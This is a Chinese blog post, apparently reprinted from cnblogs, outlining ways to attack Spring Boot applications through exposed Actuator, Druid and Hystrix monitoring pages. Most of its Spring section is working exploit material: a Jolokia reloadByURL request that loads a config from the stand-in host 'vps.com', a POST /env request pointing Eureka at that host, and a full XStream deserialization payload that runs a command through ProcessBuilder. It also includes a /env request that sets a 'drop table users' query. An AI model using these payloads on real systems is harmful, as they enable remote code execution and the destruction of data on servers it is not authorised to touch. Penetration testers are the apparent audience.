• spring框架的一些测试思路


    一.Spring Boot Actuators

    Spring Boot Actuator是Spring Boot提供的对应用系统的监控和管理的集成功能,可以查看应用配置的详细信息,例如自动化配置信息、创建的Spring beans信息、系统环境变量的配置信以及Web请求的详细信息等。如果使用不当或者一些不经意的疏忽,可能造成信息泄露等严重的安全隐患。

    当Spring Boot应用程序运行时,它会自动将多个端点例如/health,/trace,/beans,/env等注册到路由过程中。对于Spring Boot 1-1.4,无需身份验证即可访问它们,从而导致严重的安全性问题。从Spring 1.5版开始,默认情况下,除/health和/info之外的所有端点都被视为敏感和不安全的,但是应用程序开发人员经常禁用此安全性。

    以下Actuator端点可能会带来安全隐患,从而导致可能的漏洞:

    路径 描述
    /autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
    /beans 描述应用程序上下文里全部的Bean,以及它们的关系
    /env 获取全部环境属性
    /configprops 描述配置属性(包含默认值)如何注入Bean
    /dump 获取线程活动的快照
    /logfile 输出日志文件的内容
    /restart 重新启动应用程序
    /mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
    /metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数
    /shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true
    /trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)

    对于Spring 1x,它们在根目录下注册,而在2x中,它们移至/actuator/路径。

    一些可能获取shell的方法

    1.通过/jolokia执行远程代码

    Jolokia库使用用户提供的输入来启动LDAP/RMI连接,在jolokia/list目录搜索logback组件

    logback组件提供的reloadByURL 操作使我们可以从外部URL重新加载日志配置,只需要访问

    http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps.com!/logback.xml

    因为日志配置为xml格式,当logback启用外部实体时,会对其进行解析,可以实现盲XXE。

    logback配置具有从JNDI获取变量的功能,在XML文件中,我们可以包含一个标签,例如并且name属性将传递到DirContext.lookup()方法。如果我们可以在 .lookup()函数中提供一个任意名称,那么我们甚至不需要XXE或HeapDump,因为它为我们提供了完整的Remote Code Execution

    2.通过/env修改配置
    POST /env HTTP/1.1
    Host: 127.0.0.1:8090
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 65
     
    eureka.client.serviceUrl.defaultZone=http://vps.com/n/xstream
    

    先执行上面请求将Eureka serviceURL修改为任意值,然后请求/refresh。如果Eureka-Client <1.8.7则可以利用XStream反序列化漏洞,服务器上xstream的内容为:

    <linked-hash-set>
      <jdk.nashorn.internal.objects.NativeString>
        <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
          <dataHandler>
            <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
              <is class="javax.crypto.CipherInputStream">
                <cipher class="javax.crypto.NullCipher">
                  <serviceIterator class="javax.imageio.spi.FilterIterator">
                    <iter class="javax.imageio.spi.FilterIterator">
                      <iter class="java.util.Collections$EmptyIterator"/>
                      <next class="java.lang.ProcessBuilder">
                        <command>
                          <string>whoami</string>
                        </command>
                        <redirectErrorStream>false</redirectErrorStream>
                      </next>
                    </iter>
                    <filter class="javax.imageio.ImageIO$ContainsFilter">
                      <method>
                        <class>java.lang.ProcessBuilder</class>
                        <name>start</name>
                        <parameter-types/>
                      </method>
                      <name>foo</name>
                    </filter>
                    <next class="string">foo</next>
                  </serviceIterator>
                  <lock/>
                </cipher>
                <input class="java.lang.ProcessBuilder$NullInputStream"/>
                <ibuffer></ibuffer>
              </is>
            </dataSource>
          </dataHandler>
        </value>
      </jdk.nashorn.internal.objects.NativeString>
    </linked-hash-set>
    

    其他有用的设置

    POST /env HTTP/1.1
    Host: 127.0.0.1:8090
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 65
     
    spring.datasource.tomcat.validationQuery=drop+table+users
    

    此请求可以执行任意SQL语句

    有一个要注意的地方在Spring Boot 2x中通过/env的请求方式为json格式

    /swagger-ui.html接口泄露

    可测试有误未授权接口,接口有无注入。

    二.Druid

    druid是国内及公司内部最常用的数据库连接池配置管理工具;其内置监控页面,用于拦截sql及实时监控连接池/sql信息,该页面在原生的druid包中默认为禁用,但其用于适配springboot的druid-spring-boot-starter包,默认打开该监控页面(http://ip:port/druid/index.html) ,打开后存在如下风险:

    泄漏DB域名、使用用户及库名:

    泄漏SQL信息:

    泄露session:

    三.hystrix监控

    Hystrix除了实现容错之外,还提供了近乎实时的监控。Hystrix Command和HystrixObservableCommand在执行时,会会生成执行结果和运行指标,比如每秒的请求数和成功数等,这些监控数据对于分析系统请求的调用情况很有用。

  • 相关阅读:
    葵花宝典,参考学习网站收藏
    安卓工具
    马帮
    C89:vs输出调试信息
    OSG:中级篇 拖拽器类
    OSG:幼儿园篇 第六章 碰撞检测类
    OSG:幼儿园篇 第三章 节点坐标变换类
    OSG:幼儿园篇 第五章 界面交互类
    C++11:智能指针
    OSG:幼儿园篇 第四章 节点回调类
  • 原文地址:https://www.cnblogs.com/cwkiller/p/12040535.html
Copyright © 2020-2023  润新知